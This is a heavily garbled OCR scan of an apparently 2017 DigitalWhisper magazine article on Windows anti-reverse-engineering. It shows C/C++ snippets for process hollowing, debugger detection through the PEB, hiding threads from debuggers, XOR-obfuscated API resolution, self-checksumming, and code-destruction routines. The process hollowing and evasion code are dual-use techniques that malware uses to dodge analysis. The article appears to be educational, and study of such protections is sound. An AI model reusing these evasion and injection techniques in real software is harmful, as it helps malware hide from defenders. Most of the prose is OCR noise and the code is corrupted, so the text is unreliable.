FAdsx @ oxpvs o tx s s X4 GetClipboardDatas ~SX e S v X XY 4
PEs umport Tables 1 x © % x4 DL) + 4 X% 7" THX XX {44 4Y¥Y _ s _
= x Coe CIDAXIATL L ks x4 o A DX X x f s O I
11, x1x«
Dynamic Loading _ _ - _StL ~4s s ssol . L Dx 4T x
x " 1"« s 4" x s LoadLibrany GetProCAddress® < XX XX lo 4
x . v Y¥Y T4« s Modllesq "LExpott Tableg 1 4 * s 4., T X s X, oy
Lt ss L s PGetProcAddress: ~ 4" P4 0 x4~ . v b A
X s € |

—static DWORD _ forceinline call GetWindowText(HWND hiWnd, LPCWSTR buffer, DWORD size)
1
HINSTANCE module = call LoadlLibrary(STR_USER32);
get window_text func ¥ = (get window text func)get proc_address(module, str_getWindowText};
return f{hWnd, buffer, size);

}

s . _LX =s|_~ I x (s . « 1 oS L 1x X < I = X < .
« ~Windébws DLLst . s~ « _* 0o o+ 4 0 A LS N sT I xis
xLxLAv=>j;_x\>’<x’Z~’1“va~ Z“.|xlvs s, ss ZJ,,AV |
« o X% s 4. dépendenckes x « 1L 4~ T+ X oL 1. x < A , L XX

= X < F Y RN ‘I S L
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. Thread
DX 4s XL . -Threade s P kAL or X, s AP§s e Xl o x T g
s oA . 4 x4 v« Fheedd X ¥ X Xxqyixds, Jpox ol x5 x4 v e X { s
Y X4 lbs 047X Thrélad « ¥ 4s {4 .o x s, pr -Thread ~ B x . *
. X » 1 . Threadx Handter  NtSetinformationThread -~ ~ " -« ¢s s " x ] . s .«

:HideThreadFromDebuggebx11 { ~» s

junk_3();
call NtSetInformationThread(call GetCurrentThread(), HideThreadFromDebugger, @, 8);
small_junk_2();
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Open File...
Exit

To start, Open a file from the File menu.

File Help

r
Permission Denied g

This programis locked. You have to enter the
secret password in order to proceed.

..................[
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.unpackingg ~ Dump | « *exe X ¥ X < X I X
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1%« X410 1 y” 1 x(qVidudl Studio 2012+ CH# « S{ 1 ST Jx s o 4
DX T x L X XX Ty WX o X
cEs A4 s Ix s b4 q
Jx by xex o x b xos s Mainssx cixd dmdimepp x0T L X
X4 Y 1 _ v .5 T x1s oA v e s s < Amain fofm.cppx 1 1L 1.
.Openfile 1 xc¢ - __s 1 s 4 s s |
F S B B R L , Rermissior Deni¢ep ~ ¥ ftade_form.cpp 1
I R =x 1L s x| x L
s o4, Txo 1 471 _ _ ¢ Class - passwortl vexifier:cppiy * ¢ 4 - -
S hos nx oA I L 14 s ux by tx
X 4 14Class X :sx « X x4 <7 x s ] iClassutility.cpp € - x4 7
.+ 1 _ 1Deélgrationss * « i XX« ¥ cpp* XX Kd 4
-+ L L Xamti_debugging - 1 1«4 * 1 AfdtiReversing x " x s " 11 o o+ 4 _x A
p {1 XS Fd v X oS
( ' getl proc_addresscall_xxxxxAPI - x « {1 . « © .-api_6bfuscatisn,h- 1
"xTxx, | 4.5 xBreBkpdints 1 * hretkpoint_detection.h
s ” ] x s | Chetkdums x . {1 ! *checKksam_Merification.h
Fdos Y e X q L _ - X+« « _-Hebugdex detegtion.h:-x 1 4 _
Fd 7 x 0 k4.1 Theads, . ¢4, x | ZhiddeA_threadh X s
Frx 4 o 0> X Sjudkxcedesth_§ + 1 " x ¢
Foeod Yeedsex] x4 ~Proee$si_ ! x - kill_debuggers.h
v -String ¢ _ 1 x " -sting_entryptioh.h
S % 4 _ . s {1 HX"s | -timing.ht § 41 %
OllyDbg ~ ¥ ~ * 41 s 1y " o { ITkSICallbaeis- tisicallbatk.hr ¥ x x _
+ . anti_debugging s 1 4«4 - s 1x X T ox B N I I T
: L
exes _ *unpacking . - * _ «~.~ _ "1+ Ixo< s 4 oxs o, x o s?”
e oo bxe 0T Ay s x T 4T s A4 e Ss s ] s
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L 1 1 . X st 4L s
(Proces#ollowing @ x _ « _«*) T x., ]Ss x .1 x R
« » «TLS Callbaek .2
OllyDebug @ " 1 x 1 1« 4.3 1 “ x4 7
1 vx 4 _ .+« s PEB Debuggers: s !, «4rx!
10X x Ly s X e 7 S+ X sEhedksum® _x B { L x 1!y P
Entry Poits © + {Main® ; 41 . « " xBreakpoint + = " +r+« .S, <651~
3 yx 4 _ . sTLSCalthaek {1 : % X«
« » Mains .7
Checksunt ! > 7 4  >xHiddeml xs <. x (X« .. 11 ¥ XThreads .8 ¢ 11 _
s | 4 QuérylnformationProcess . A R BT s {1 x
T N B I I I O SRR N N A SR B S SN R

10X x Ly
LT o xe x L, x"9 4 .5 7
L _-Precéss - x « . s 0 *x?” s 4,14+ MdsSage.Loop~- 1+ ~ 4O 1T | X

b1 s X Fd .y e xq

~

X 0 q L L Lo 104 Jesf o hos X80 o H o dhy sl (I : b

, o XA s L x|y s 1
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Process Hollowing 4 " x UWnpagkings

1L 17x _«.s s xis N T I T B R 111 s
R P x s 4 b , « Cs s, x % 1 q S "]
s 7l x s . Ll s A e s bx - Disassemblys ~ ¢ 1>
S I X X {0 A 1 . S
| {1+« . L X« s X < {1 ., 8 | X 1 1 « S « 11 L X oo q q .
swd 7l 4 s PESILT LT LIS s LI A4 . x
.Process Hollowing: + ~» « " _
Lo XX RN ~ 10 sy A r 17 x Process Hollowhg XX .
S v " Task’Managef o  ~41s x&¢s s 4" ]1qs L S v X s
Fpdoox s s 1 4L L _ | "notepad.exd" sT4x ¥yxIL 4 _T{Hxivs.  s] {
CA L AT L xS xS ks ts X e (¥ us s
X .oy Lox " | s
Resources 1 x © > 7 Win32Application.exe ,,* 1 ~» x « s s 7 ] x s {1 {1 1s
. vl oox L P boxs(” ] xpdckeyexd L, 1 x | ® < packerexel
-xFindResource™ x v | | . x 4 « <Regources * | Win3Application.éxe s L -
.LoadResource
L. vx 1 _ s _ 1 ~ xsProcess HollowingL s::~ . < X AL T "X o .
“x ., ]S x.,l, x .xSusdeddet,¥ s+ _ & - . X "packerexe) - Xx( s 44.s s
X X L 1L vx1.,4xs T x, | Cs 1. «L 1 ex1 L x 1" 4 x
sl x s NtUpmapViewQfSection © -~ ¢-  Hollow) oxo 1" 140 L~ i
oo )Xk KL, T s s x4 s X, 1 x oy
. Resumed
122 CreateProcessA(NULL,filename,NULL ,NULL,®,CREATE_SUSPENDED, NULL,NULL,&peStartUpInformation,&peProcessInformation);
123
124 // delete the original image from the process
125 NtUnmapViewOfSection(peProcessInformation.hProcess, (FVOID) (localImageBase));
126 // allocate and paste the new image with PAGE_EXECUTE_READWRITE permissions
127 VirtualAllocEx{peProcessInformation.hProcess, (LPVOID){INH.OptionalHeader.ImageBase),dwImageSize,MEM_COMMIT | MEM_RES
128 VirtualProtectEx(peProcessInformation.hProcess, (void*) (INH.OptionalHeader.ImageBase),dwImagesize , PAGE_EXECUTE_READWR
129 WriteProcessMemory(peProcessInformation.hProcess, (void* ) (INH.OptionalHeader.ImageBase),pMemory,dwImagesize, &dwhiritts
13@ // continue execution from the entry point
131 CONTEXT pContext;
132 pContext.ContextFlags = CONTEXT_FULL;
133 GetThreadContext(peProcessInformation.hThread,&pContext);
134 pContext.Eax = INH.OpticnalHeader.ImageBase + INH.OptionalHeader.AddressOfEntryPoint;
135 SetThreadContext(peProcessInformation.hThread,&pContext);
136 ResumeThread(peProcessInformation.hThread);

[Process Hollowing ~ ¢ _ 1 4 1 § X JPEss: " x 1 ©" packerexa _| X Jd %] _

75
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-L ] {4 L s s Lo s _qJys S X . .S e s"~v {1 " . ’~I'| ] 4L s
s 4" x s DX v v X TPES| s & X y*PAGEL EXECUTE_READWRITE
L | s 1 ResumeTFhread + * ~» « L v xS oo sWriteProdessMemory L. X o
_s~l'|s sv.|”Js lox " X
S« . x| «oL _  s..Resources ,Win32ApplicatidnexeX « .1 _ xs 4 _x s
| x Mpackerexe" s 4 s At S Lo 140158 s Process Holowimg. .~ _ | -~ -
Tdests  p oAl x4 s o] s 145 Wih32Applidatioh : x s ¢ L
Iox” s¢s T 4.s 4,15 1 "ackerexe' +§ _ 4 x4 s¥ _ $1 4s*]x
, oo x I,x“Ax]ss>-||_1A Zx~“s|_
52 Hwoid MainWindow: :Show()
53 | {
54 TCHAR filename[188@];
55 GetModuleFileName (NULL ,filename,188};
56 if (lutility::EndsWith(wstring(filename)}, wstring(L"packer.exe™}))
57 {
58 CloseWindow(this-*handle);
59 ExitProcess(e);
&0 }
61 ShowWindow(this-rhandle, SW_SHOW);
62 UpdateWindow(this->handle);
63 |}
[main_form.cpp! * ] _
packerexe . ImadeBasp, 1 , *s = *xx ] b xxyo J 4. {1 44s Dxx o
BN 1014 1 1 Win32Applicatiorkexe® : «x {7s {x 1 17« s 4L~ 1, *s
P ) -7 17" 4L _ Linkebs ] x::xs, Randomized Basel Address - x .~
-||_~ s " ] x s MY <-|vxs|_ 1|_~ CX . q X 11" « L LX o, X s . X
, X x Process Hollowinge ., + 1 1~ _ ¢4 x4 x 417« s X A4 s ]

xy I .1~ 4 _ 414y 44 I N R T RE I T S I T P I S

~ ~ v

.notepad.exe
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| s | s
S . 94«1 DX " ox ” x " L 11 ] s 11 s , X (X s . s
(4«7 = X o % voox
, 1w D Stackd Lot s A ArSd) o p e x40 s b sy
X, xS N 1 sy s {1 x " 17« s " ] x s Lo I x (%
{1 L% X XY CTUSH TX sX LS L X | s - oL P |

s ¢1lx <1 s _undefined behavior. (- x 1 x

>

I3
14 [Hwoid _ forceinline destruction_2()
15 | {
16 // local destruction
17 _asm
18 r
19 mov ehx, eax
28 mov eax, [ebptd]
21 jmp eax
22 }
23 |}
24
25 [Hwoid _ forceinline destruction_3()
26 | {
27 UINTE *pointer = (UINTE *)junk_func_1;
28 for (int i=8;i<@x2808;i++) pointer[i] = (UINTE)rand();
29 |}
[destruction.hd x ]
tElows 1 _ *x1 4x]4_ mMovebk,@ax * x ¥ 4« dxgx s x o *x.X
vxs s A, Y o pdATx v d e oy x40 A
L] X x X ¢ . xy s " s
ebxxeax + 1~ ¥ x « s | Hestrugtion:21, +: * L _ st ss x4 70X
11 ] L% Chox O% B R, s ox ("X P s X o : ”
x 4o, A 8tacks | M oo vt ] dBSHUEtIGNS2X LS W .« -«
r 1 Dx2Q006s Lo, (r A~ Fd144%) - X {4+« ., « destruction 3 x s
Pl X ot 4 xs _ fxdunkxfunc d s 4 x & x {8 1 xx I ]s
X, o« L 11 4 L | s ¢« X ’s¢s Lox X
X« otext sections ¢+ LinkerLd Lt X L. x s f T HAM s x4 o s
Pxpx s o,sx s v e s, by o cpxs XYqxis | ‘RWE , -~
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Inline: x { « « X

oL UL S v q4 ., S B FY .o 4 x 1 O C X s s S XN S Sk o s
I x o % 111 x s s ox " . X €7, N I VN X A ., X s Lo ox
StckFrame 447 %) s _x 1 | x s7x |7 s ,x X 44,1 . X
X e 8X X AT s e oA s 0 A X
X Xs | X o, x A 1+« L T4l x I x X L I x oL FX .Y L X 14

~ Overhead

X4l o Ax s o x T TG C A % X s X {l xS, xSy ©
ST X LS. Le i d o Xw-S sy e Xt el
LX 6 ] X s . LoX 1L % , 1" ] s Lo s L4y ., s sv1,,¢sv

_%1inline s . x s sLq_s A CX e xd X o8 x T TR o f s sy
fv o THAT i A, Jinliees 3 Ll s ¥ s d s sxxs o1 T
inline * x { s 101 11 ol ex s 47X S X e X X ]
x o X~5814 > _ Jorfceinling s ~ x _ _ s Visual C++s, 1, _ _ - s xX* 44

|_-|~XA X "1 "L sv x"vv X x A .o XA |_-|A|X1 X "
A4, o x s (s Tis X 40, s 4 Jipling ¥ X 44 -8 x ] {5 Xxx(
W LS X s s e Tl LA B S v qd ., Lo~ -7 XS

header 4 « X« * Toox o T Dx o LidliheY L X 4 L X Ux 9
oA, s e 4 ix o x s o x by 41 4L
FXw 2 U S T Xy s forceinlinell  * winlinpes X 4« F
I x X s X Lo X s ¢ :x.|‘“"x> 1L | =>x\><~ « X S X

17 A L s 7 X L CIXjalie* x, X 8 X 4 S e g s 1. s LS L. .o X

Coxoxxo CeBréakpoifit -4 o0 o ux 14 0 vy wxsoo o L 0] Y

{ AntiDebugging ' x « L1 1 _ liplinesl* £ X ¢ ¥ x0T x L vsx
Fodoegpy b W A e X ox D]
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static: X {1 « « 7 x
- static-] - .. L 1 ~ Jiflinedw , 3 I xIX¥ 4 odnlines stoX koo TTx o Y] S
X <) 11 1x7s RN 41 x 7 statics] 4 T oxxe e fis. XL @ ]S A X st X
L \.XSN }.X“VV S L X, WL .o { + X [T R S F-I\x\\x .
s , | y xs « 1 s x X X
x XA 15 . 10 ox oX x 411
s L hs 1% , (4 the T 4x %30 yx 1L Foxo s I
17« x 411 X 4 s . L F X , |y x X 4. <" x s X s I A X
Duplicate -~ x + 1 s ¢ ] N F1Tox [ AN , T+ P, L .o X
© 7 kinke¥s1’Symbols
S X < . ~ o XA s X L 9 1 X « S , [ X X o 1[ . X { %
Iy ” s " ox | x4 dX 1 xx 48 1:7xx He § T s 4 ..
1 ' Dishssembhy XXX 4L 0 X« q4 s 47X s IRewersilg_ . L S _
. . 1] R . XS X LY L 11 ] « LU XXX s L, X T e TaXx ] s
s ¢ s Il x . s
enforce_software_breakpoints et
enforce_software_breakpoints_0 ext
enforce_software_breakpoints_1 fext
[#] enforce_software_breakpoints 2 fext

7]

L, _ -enforce_software_breakpoints 1 1 + $ 1 s «
[Z X s Cxxl x KN

"X X \s=,,~2|_ |DA.X]

XX ]

79
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APIL X « 4 XX .
X = s X oLow L {9 L 1s R N 10 v ixad
GetProcAddress: -~ ¢ % . _ x| TsoL

X o\ X L 110 1s GdtProcAddresd x « © Isxy X x

x 4 .~ d4s 0]l o stx 7T 9%f.8*x GetProcAddress. S .

:get_proc_address +

{

5 Estatic void *get_proc_address(HYODULE module, char *proc_name_encryped)

char *base_address = (char *)module;

E_DO

_NT_H

EADER *)base_address;

DERS *)(base_address + dos_header->e_lfanew);

nt_headers->OptionalHeader;

! *exp_entry = ( ATA_DIRECTORY *)(Rcptional_header->DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]);
EXPORT_DIRECTORY *exp dir = ( ORT_DIRECTORY *)(base_address + exp_entry->VirtualAddress);

void **func_table = (void **)(base_address + exp_dir->AddressOfFunctions);

WORD *ord_table = (WORD *)(base_address + exp_dir->AddressOfNameOrdinals);

char **name_table = (char **)(base_address + exp_dir->AddressOfNames);

void *address = NULL;

ADER *dos_header = (IMA
ERS *nt_headers = (1
ER *optional_heade

/f{ importing by name
for (int 1 = @; 1 < exp_dir-:NumberOfNames; i++)

{
// name table pointers are RVAs
if (compare_encrypted_string(proc name encryped, base address + (DWORD)name_table[i]))
address = (void *)(base_address + (DWORD)func_table[ord_table[i]]);
}

return address;

[api_obfuscation.hl x ] _

X B ” ” S L « X S | I % x

~ > v > v ~ A~ ~ a

+  Export Tablks” 1 x © *  Modules* Export Table + x 1

Export Tabl& > x © | 1 ] S L X x o ]ls v L4

-L S

s , X
Tl
s , X

x

”

~ > 1 ~

x

X

10«

s v 1~ 1 _ getproc’addressr ¥ « , . ¥ 7 1 GetProcAddress* -, X «

s L

Yy 80

X

r”

r”

w

s v sHx..SFing®s 1; 81 ¥y ¥x s I+ DUl Medule x 717« X
R S T I B N SR E S S
DLE *x st «ivx 4~ 0 x 1Y ., get procaddressd 1 1 4

APl @~ H .« T 1 4

x X x s 4. " GetProcAddress ~s<"sx (1) o K S

a ~

< 1 147 s Lget-pro¢_addrésg .~ __ _ s sx i)« L S L o-

A

s¥ LY I X s, x . X v L Dox L Lo Y o X g X

~ >

80

Windows * 1 ’Anti’Reverse Engineering
www.DigitalWhisper.co.il

2017 -~ * _&BX T x { L ¥



LTechnoloagic

1704 s ,ox % Leadlibrardt <S4S o v X 4 X 4T

~< ~ a ~

get_proc_address: x .« _ ~ %

77 [Elstatic HANDLE call GetCurrentThread()

78
79
a8
31
32
83

1

HMODULE module = call LeadlLibrary(STR_KERNEL32);

get_current_thread func ¥ = (get_current_thread_func)get_proc_address(module, str_getCurrentThread);
if (f == NULL} { throw new exception("")}; return @; }

return f();

[GetCurrentThread = ~ @ sx. xs. 4],
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P4 XX ftstrifigs L r 4P A Y .S LB 4 T X x T x s {x
S, AASting.e s AT X7 0 Xy 47X s o X s T Xx Xy X e
XX s xompare _encrymd string : x - x . % Txo, e ~_L_Btring- 1 Fo
T« String® ¢ 1+« 1TXOR," L X4 0% & %, _
128 [Fstatic BOOL compare_encrypted_string(char *encrypted_string, char *original string)
121 {
122 int i= 8;
123 int wor = 1;
124 while (original_string[i] != '\@' || (encrypted_string[i] ™ xor) != "\@')
125 {
126 if ((encrypted string[i] ™ xor) != original string[i])} return false;
127 xor +=2;
128 i++;
129 }
138 return true;
131 |}
132
Fd oL X s XL P {7« 1:”:va s , X (X s~l'| S 4 .«
s 4 1s v s . s typedefl gall xxxxx § » % xx's 1) 4Cs I x { X7 X
S L _ v _ S String*x ™, (% _
Py
11 static char str_messageBox[] = {'M'"1, 'e'"3, 's'~5, 's'07, 'a'e9, 'g'ell, 'e't13, 'B'NMS, 'o't17, 'x'M190, WAL, "hATe
12 static char str_getWindowText[] = {'G'~1, 'e'*3, 't'~5, 'W'~7, 'i'~@, 'n'~11, 'd'"~13, 'o'"15, 'w'"~17, 'T'M19 ,Te'n21, x|
13 static char str_loadLibrary[] = {'L'~1, '0'~3, 'a'~5, 'd'~7, 'L'~9, 'i'~11, 'b'~13, 'r'"15, 'a'"l7, 'r'f19 ,y'e21l, WA
14  static char str_ntQueryInformationProcess[] = {'N'*1, 't'~3, 'Q'*5, 'u'*7, 'e'"@, 'r'~11, 'y'*13, 'I'*15, 'n'"17, 'f'rl9
15 static char str_ntSetInformationThread[] = {'N'*1, "t'~3, 'S'"5, 'e'~7, 't'~9, 'I'~11, 'n'~13, 'f'*15, 'o'*17, 'r'~19 ,°
16 static char str_getCurrentThread[] = {'G'~1, 'e'"3, 't'~5, 'C'~7, 'u'"9, 'r'~11, 'r'~13, 'e'~15, 'n'*17, 't'A19 ,'T'A21,
17 static char str_createWindow[] = {'C'"1, 'r'"3, 'e'~5, "'y, 't'M9, 'e'Ml1, "W'M13, "i'M15, 'n'M17, 'd'M19 L, T0'M21, w]
18 static char str_getThreadContext[] = {'G"*1, 'e'~3, 't'~5, 'T'~7, 'h'~9, 'r'~11, 'e'~13, 'a'~15, 'd'~17, 'C'~19 ,'c'"21,
19 static char str_setThreadContext[] = {'s'~1, 'e'~3, 't'~5, 'T'~7, 'h'~9, 'r'~11, 'e'~13, 'a'~15, 'd'~17, 'C'~19 ,'c'~21,
28
21  typedef int ( WINAPI *message_box_func )(HWND, LPCWSTR, LPCWSTR, DWORD);
22 typedef int ( WINAPI *get_window_text_func)(HWND, LPCWSTR, DWORD);
23 typedef HWND (WINAPI *create_window_func)(LPCTSTR, LPCTSTR, DWORD, int, int, int, int, HWND, HMENU, HINSTANCE, LPVOID);
24  typedef HANDLE (WINAPI *get current_thread_func)();
25  typedef HMODULE (WINAPI *load library func)(LPCWSTR);
26 typedef int (NTAPI *nt_query_information_precess_func) (HANDLE,UINT,PVOID,ULONG,PULONG) ;
27  typedef int (NTAPI *nt_set_information_thread_func){HANDLE,DWORD,PVOID,ULONG)
28  typedef BOOL (WINAPI *get_thread_context_func){HANDLE, LPCONTEXT);
29  typedef BOOL (WINAPI *set_thread_context_func)(HANDLE, const CONTEXT *);
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Patching: {1 Chegksum x « 4 ! *
s X, s x Lx by x o ] 114y 41 4. .~ S Yy ” Checksum{ ~ | s
I N Cheeksuns: ~: 0l xXx | Txisd{ "% x { s (. X%~
Sl X ix ey x « | Che¢ksumss S s, " xChecksur®, + 1 ;S 4+ ~
(r 47 x v 4100« o~ xChecksum~: X v "D xow LT X ) Dox 4 x ¥
sx 4 s x¢ T RN ST DR O U I SN T
Ix o 4x " oxy dAx{A_w" i Checkdtim g < X" R
X4, o Hash A4 - s p Dl ISMX LY X T 4. X XL X
i 1., XY L [ e i ., <A =1L 10 s " ]x s L
R P R T B B checkdum - _ |
x 7 L X s 9 . = ¢ x I x (s F "] L Fd .« X ] s x 7
T Ixis x| X 1 Ax A"« [ "Paching )1 X X
s Usloxy L I S N T A B
LA G sl os o Ay | Threads XX X 14" x P4
-I"J:s
17« 411 (! SeftwareiBreakpojnsx_* 4. -1 )*x 1 + + Checkstigf - _ {1 |
] . I s L X G s s ” x ] s e
Lls 1 junk funcxl¥ x 1Y fox _4x X 44413 b X DX T s
Fd 144 x4
3 extern UINTE4 checksum;
9
12 [Fstatic veid calculate_initial checksum()
11 | {
12 UINT32 *pointer = (UINT32 *)junk_func_1;
13 checksum = @;
14 for (int i=8;i<exlees;i+t)
15 i
16 checksum += *pointer;
17 pointer++;
18 3
19 pointer = (UINT32 *)calculate_initial checksum;
2@ for (int i=8;i<@xlees;i+t)
21 {
22 checksum += *pointer;
23 pointer++;
24 }
25 |}
calculate_inital_checksurh 't 1* _ x Thecksur® * «L 1 | § checksumi . * » " ¥. s checksum_verification.h * ] _
[ 47 Fast1ox
1.+, s! { Checksun¥ _ 1 1. > s _~is {4+« s

1 ~ E
X
s
L
_IX
. F
L
”J
¢ X
S o ] X
X W
I.
X X <
L Y
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n” . s
1. XORI *x « 4> o bxo x0Ty X
x4 xs .S s i, §xs T x5y 1M X x Ll
s ., x s ) 1 x . PEREE S I | H A d j)A ’vﬁ“TIJ"xH”“SX 2(4 44 x 0 F
( ” X s X X
59 Hstatic string _fastecall decode_string(UINTE *encoded_data)
60 | {
61 /! generating key
62 LPCSTR key = "¥f";
63 int keyLength = 2;
64
65 int maxStringlength = MAX_STRING_LEN;
66
&7 LPSTR buffer = new char[maxStringLength]();
63 memset (buffer,58,maxStringlength-1); buffer[maxStringlength-1] = "\a';
69 string result = buffer;
7@
71 int i = @;
72 while (i < maxStringlength)
73 I
74 small junk_3();
75 for (int j=8;j<keylLength;j++)
76 7
77 if (i »= maxStringLength) break;
78 —» result[i] = encoded data[i] » (char){key[§] | (i*93/2 + i*i - 1 & key[§]);
79 i++;
e 3
81 1
82 delete buffer;
83
84 return result;
85 |}
[(decode_string 1 1 ) string_encryption.hl x ] _

Fds x> X e A x s I s s ] LY s oo
F {1 . XY | X 1OX . . € str’fng-xx :~xv‘: ~=s.||_> <S s x4," +A ",\~s~l,, X~ L
10X x LY s "l ] S« X s x Ul 5 L XXORX, {~418«s_ )7 *Txx_"x  Iyx o

STx X s x SLox X s x 0 oydefing w o oxd KX x %
|12 static UINTE str permission denied[] = {117, 3, 87, 11, 76, 21, 86, 15, 74, 8, 5, 34, 64, 8, 76, 3, 65, 182 },l

24

#define STR_PERMISSION_DENIED Utility::ASCIIToWideString(decode_string(str_permission_denied)).c_str() |

+ Y Strihg™

~ ~ v ~ > ~ W

- X 17 « _#defingss o

’:)f_mx -X\.”L

-L C++ o atribgr 5 -~ 4 _ . xUtilitys 4 + « "Clags  {sx ASClIToWideStrings 1 « « * x *

*

18 s & x TR sx 4 s 1 1. | WideStings 1. Awstiing 1, _

~ A ~ v
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x X447 ) X | "Uhisodes & X ¥« ¥ X X x sl xf X D KS xS X s

(+ 1~ WideStrihgs L * «

~ - 'Threads
... s’ xThfeadir 1 X T4 4L T X _ os o loss 410s X xqlivxgixgx ]
Thread -~ *x « 4 1 1 1 1 NtSetinformationThread -*x .« (L ~ * ) .~ ¥ « X 41 s x I x,
T, x 7 Ay s e s g X Xl 4R Yo X
XX Ly X g b s T T x e o { sThreads X s i Lo e AL ] XD X

v b _ X . v Xxs o Checksun® | XL, ¢ xx77"xX] "NtQuetryinformdtionProcéss

tHiddenl x _ «. 4 l:v.s  hidden_thread_timing + _ > 41 x 44 s” o ] x
= ¢ s

o #define HideThreadFromDebugger @x11

1@

11 extern UINT32 hidden_thread_timing;

12

13 [Hstatic void hidden_thread loop()

14

15 while (true)

16 I

17 small_junk_1();

18 srand (@x728391);

19 junk_3();

28 call_NtSetInformationThread(call_GetCurrentThread(), HideThreadFromDebugger, @, @);

21 small junk_2();

22

23 if (lverify checksum({) || detect_debugger_method_2())

24 i

25 small junk 3();

26 destruction_4();

27 return;

28 1

29 get_timing(&hidden_thread_timing);

30 3

31 1

[hidden_thread.hd *x ] _

194+, A4, x_ "AntiDebugging L XL X x X xs 1]  Threads A LT X X%l " s

ToeXxoy s 4o L e oxs A 44 s x ]

. Xx's  “hidden thread tintiny . 4 . Thréasls sx$%s_ T x , J.s - _¢s 1. T

=v¢,_ X X o, W Ix\v Zg(jsd,,fg{"[xi:\’sA§‘ph|éea~dsJ§l><’AL-||;J~,,ZY
111x"s
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¢ 1711 x"s = ¢ s R ” s s For ox o0% IR R X
A4 ¥y x 1.+, slv~s A\x . , 1!
33 [Estatic  forceinline woid enforce hidden thread timing()
34 1
35 UINT32 current_timing = -1;
36 get_timing(&current_timing);
37 if (current_timing - hidden_thread_timing »= 48)
38 i
39 destruction_4();
4@ ¥
4l |}
[hidden_thread.hl x ] _
P Y X $ S
S T U T B S 0% L N [ PO IR
fo. A1~1.s 1x:i4"s X ¥Ry X A L IR A x|
-L R RN N 10 A xss{"e x 0 X0 X e A Y o« X441 L] 1
IsDebuggerPresent 1704 _x P& o s NtQeeryinfarmationProcess
P1x 4 _s ¥« 41 FS sV xS PEB-HSS™* x| xs s | {
( ¢ 1 -AsDebuggerPresesft * " 41« . 4 1 «
7 #define ProcessDebugPort 7
8
9 [FB00L _ forceinline detect_debugger_method_1()
10 |{
11 B #ifdef _DEBUG
12 | return false;
13 #endif
14
15 int debugger_found = 8;
16 _asm
17 I
138 mov eax, Ts:[@x18]
19
28 small_junk_1();
21 _asm
22 I
23 mov eax, [eax+8x38]
24 movzx eax, byte ptr [eax+2]
25 1
26 small_junk_2();
27 _asm
28 I
29 mav debugger found, eax
3e 1
31
32 return debugger_found;
33
34 |3}
[debugger_detection.H x ] _
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, 1 TThreatdssx 411 x"s J4o0s s 4 _x 4 Iy owdHLxx” -
S . s X
1Segment Registers x x s s\ TEB * 99 4 THESXAWx:e s x I 7§ x x>
0x18 + *x « 1 _ *fs:[Ox18F L 1)L * ~ fs:@x00] *xvo: ¥ | x < | X e X X 4L~ b
x AL L e o D TEBXE X DX s o] Y L TEBS « % 4d 13 %x |

R JRU RSN B B s 4 s . TEB , x6¢s >

11 * _ , « *detéct debugger method 1. _ + - 4~ X ¥ ( ~ s s box o
eax* = . fSJOX1B] 1 x i TEBS. w” 4. " ALl s DX x ]
eax* X x _ Ox3Qoffsbt* YEBS . 4 X I _PEBS: .1 1 XX D ]'s
-~ ¢ 1 eax*x .~ PEB | BeingDebuggeds ' . s ( .3 1. s

Releasex Debug
xDebug : . ! 1 _ R X Tx -x 4 . x¥ 4 7 Visual Studip * 1L '
s " | x s Lo Z-|> X vsRe|éase~) sl x LXoox 4 Xl 1A'X"H)QbUgRleléaise1 oL ZIAx
Tx <0t
DXL PSS o X{uiasd TXx 4 0, x ¥ {7 X (S 10 T4
Txy 1)y ixodgy X x4 4X L xC p Deblgl _ v d X7 4 e 1ax
(' x1x Symbols_: x! x <« |
IxAX X ] ox P . 1 s X . X X L -|IR|e|ealSék“ﬂ_ X "X
Lo X7 b xaxex " b 4 Debugt 0 44, ) X oS
FX 0«14 s Releasa L 17 v X o T XX 434 X oS]os{" ] x s 1.
11 1 PBebug® | Jinlines = x+« ., xs v L1444, o xws 440 4Y A

_(yxx-|lx X0y

-L 150, 4« X~ FAd XX S s v s s b e xyy X x4 4]
LYy xex 4 T x4y " e by "D DeHug o s " ] ox s

- Releasea Debug. 1 ., _ 1 «AntiDebubging . * *x « 47 11 _ s>*.s T xX ],

1 Macroe @ oxdh xxsqoxqe T ox o Do @ x4 14 s T I x s
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X » XS« xs Debug "4 8 18I x "s] o sAd L. x¥Yd{  "BEBUGr y* , o 1%
< x I s s AptiDebugging- X~~1 " I'1 ¢ 41 « X Preprotesser 1 1«

9 HEB00L _ forceinline detect_debugger _method_1()
@ |{

11 E #ifdef _DEBUG

12 return false;

13 #endif

[s & «ix Aty s s "o 44,0 s 12 sy X4 "« « debugger_detection.H x ] _

s " ] ¥ . % *Breakpointi x s { ¢

six s 4. X o <~int3( ¥ x }Breakpoint T ¥ s & Hx I )L 4.
S WX s Ix o X 4 s | x D Breakpoipt X« X« . S X7 s 7L
Jax X 1xx 1 <. x s 1 s { . « 'enforce_software loreakpofmits r - 1~ X ¥ o
FXOR | « % vxs s qx SWOKGE, S+ L~ F Ul b XeSETXxEXs 44
LS 1 _ s Ix,ix{ o IxoqlXx xe bx o oex10 Xr1H X LUsiX

.ol « e X ] x R

< ~

28 [Hstatic wvoid enforce_software_breakpoints(wvoid *address, DWORD size)

29

3¢ F#ifdef _DEBUG

31 return;

32 | #endif

33

34 small junk_1();

35 UINTE *pointer = (UINTE *)address;

36 const UINTE c = @wCC ~ 8xle;

37 junk_confuse_1();

38

39 for (unsigned int i=@;i<zize;i+t)

40 {

41 junk_1(3;

42 if ((pointer[i] ~ @x18) == c && junk func 4() ¥ ex1e != @)

43

pa pointer[i] = @x%@;

45 destruction 3();

a6 }

47 else

43 small junk_4();

49 }

e |}

[breakpoint_detection.hl x ]

T8 oylx o 4 v sOx90 nop - - ~ X5 %  Breakpbirit « . x " x s 1 4 X
L. s, 17 MessageBox <" |, | x <X FAY 1.1 XX Lo, Lol

s s .4 xS A A2 3y SAXY LR ] XX X

~ ~

~Bteakpoint 1 A
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Technologic

Ao F

x { . Paddingl OXGC*1 1 »

| Linkers _

S~ X 1. % *Breakpoint{ x s 4 ¢
~Bteakpoint ~ x « 4. 4D | Ix s s, x7]x 1 s ”
A ox 4 b o 41§ % ¢ v -Breakpointinti3 4 . L X s L x Ty

5NN X 5 NM Debbg\Regis®es NI | .
F 1~ Y x . sBreakpaink s , ¥4+« I o T x| X DI3X*DIO- d ¢~ ¥ x « 3 4
v L X 1Xeess 4l ¥ Beedkpoint ¢ X~ b e 04 s b 4T LS
X oo s Ay 1440 sy 1 RiINg3 L X s,«( n%s.s,
